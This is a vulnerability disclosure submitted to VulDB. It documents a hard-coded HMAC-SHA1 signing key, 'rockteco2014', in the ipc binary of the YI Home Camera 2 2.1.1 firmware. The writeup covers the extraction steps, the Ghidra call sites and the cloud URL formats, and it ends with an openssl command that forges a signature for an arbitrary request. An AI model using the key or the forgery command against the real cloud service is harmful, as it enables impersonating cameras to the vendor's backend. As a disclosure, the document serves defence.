提出 #772996: yitechnology YI Home Camera 2 2.1.1_20171024151200 Hard-coded Credentials

## Firmware Identification

The firmware file `2.1.1_20171024151200home` was downloaded from YI Technology's official page.
https://www2.yitechnology.com/support/firmware_home/id/9

SHA-256 hashes for independent verification at each extraction stage:
```
$ sha256sum 2.1.1_20171024151200home
a5fef3fda624f77dc4369f64b85e9cba79df02eb6298460eca8e7304db418fb0 2.1.1_20171024151200home

$ file 2.1.1_20171024151200home
2.1.1_20171024151200home: data

$ hexdump -C 2.1.1_20171024151200home | head -3
00000000 41 4e 54 53 49 4d 47 00 a0 4e 02 00 10 c9 33 01 |ANTSIMG..N....3.|
00000010 00 01 00 00 01 00 00 00 00 01 00 00 00 02 00 00 |................|
00000020 00 00 00 02 00 00 00 00 1b 8a f5 c2 32 2e 31 2e |............2.1.|

$ binwalk 2.1.1_20171024151200home
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
512 0x200 UBI erase count header, version: 1, EC: 0x0 [..]
```

The UBI image at offset 0x200 was extracted with `binwalk -Me` and the UBIFS volume unpacked with `ubireader_extract_files`, yielding a 672-file filesystem.

```
$ sha256sum home/web/ipc
aaf9adad66f7d40cbbace1a99d65a4a9051acf9faf06fb0a1ae000663cd1ae72 home/web/ipc

$ cat home/web/os-release
YUNYI_VERSION=2.1.1_20171024151200
```

---
The primary binary `home/web/ipc` (ARM32 little-endian ELF) was subjected to string extraction and reverse engineering in Ghidra. The hardcoded key was identified via string extraction and subsequently confirmed through Ghidra cross-reference analysis, which located the exact string address, the four call sites that reference it, and the OpenSSL HMAC API imports.

The string `"rockteco2014"` is hardcoded in the `.rodata` section of the `ipc` binary at virtual address `0x387bcc`. The function at virtual address `0x001adaf4` uses this string as the secret key argument to `HMAC_Init_ex()`, producing a 20-byte HMAC-SHA1 digest. This digest is then appended as the `hmac=` query parameter to every outbound cloud API request.

Because the key is compiled into the firmware binary - rather than being provisioned per-device or derived from hardware identifiers - every single YI Home Camera 2 running this firmware version shares the identical signing key.

Four distinct call sites in `ipc` reference this signing function

| `0x065718` | Device heartbeat |
| ----------------- | ------------------- |
| `0x066a4e` | Device registration |
| `0x0670ae` | Online check-in |
| `0x06d8bc` | Log upload |
The cloud API URL format string recovered from the binary makes clear the full request structure:

```
%s%s?hmac=%s&seq=9&uid=%s&password=%s&version=%s&model=0&port=0&mac=%s...
```

```
$ strings home/web/ipc | grep rockteco
rockteco2014
```

The ipc binary imports the full OpenSSL HMAC API, confirmed via Ghidra string cross-reference analysis:

```
HMAC_CTX_init @ 0x0001750e
HMAC_Init_ex @ 0x00017527
HMAC_Update @ 0x00017534
HMAC_Final @ 0x00017540
HMAC_CTX_cleanup @ 0x0001754b
```

The string `rockteco2014` at address `0x00387bcc` is referenced as a parameter from the following four call sites, confirming it is used as the HMAC key in all cloud API operations:

```
"rockteco2014" @ 0x00387bcc
<- 0x00065718 (heartbeat)
<- 0x00066a4e (registration)
<- 0x000670ae (online check-in)
<- 0x0006d8bc (log upload)
```

The signing function at each call site invokes `HMAC_Init_ex()`, `HMAC_Update()`, `HMAC_Final()` in sequence, producing a 20-byte HMAC-SHA1 digest.

Multiple URL format strings using the `hmac=` parameter were extracted from the binary, confirming the HMAC is appended to every outbound cloud request:

```
$ strings home/web/ipc | grep "hmac="
%s%s?hmac=%s&seq=9&uid=%s&password=%s&version=%s&model=0&port=0&mac=%s [..]
%s%s?hmac=%s&seq=9&uid=%s&timestamp=%ld
%s%s?hmac=%s&seq=9&uid=%s&bindkey=%s&timestamp=%ld
%s%s?hmac=%s&seq=9&uid=%s&suffix=%s&time=%lu&timestamp=%ld
[..] (12 format strings total, all using hmac= parameter)
```

### HMAC-SHA1 Forgery Proof

Theoretically using only the extracted key and the observed URL format, an attacker can compute valid HMAC signatures for arbitrary requests:

```
$ echo -n "seq=9&uid=YIHOME_000000&password=test&version=2.1.1&model=0&port=0&mac=AA:BB:CC:DD:EE:FF" \
| openssl dgst -sha1 -hmac "rockteco2014" -hex
SHA1(stdin)= da18f9722d0fbb18ddf99ebae79399574b08eaf4
```

This produces a valid 20-byte HMAC-SHA1 digest using the extracted key. The cloud backend has no way to distinguish this from a request signed by a legitimate camera, because all devices share the same key.

• ソース: ⚠️ https://www2.yitechnology.com/support/firmware_home/id/9
• ユーザー: 0rbitingZer0 (UID 96146)
• 送信: 2026年03月05日 16:15 (3 月 ago)
• モデレーション: 2026年03月19日 21:46 (14 days later)
• ステータス: 承諾済み
• VulDBエントリ: 351765 [Yi Technology YI Home Camera 2 2.1.1_20171024151200 home/web/ipc 弱い認証]
• ポイント: 20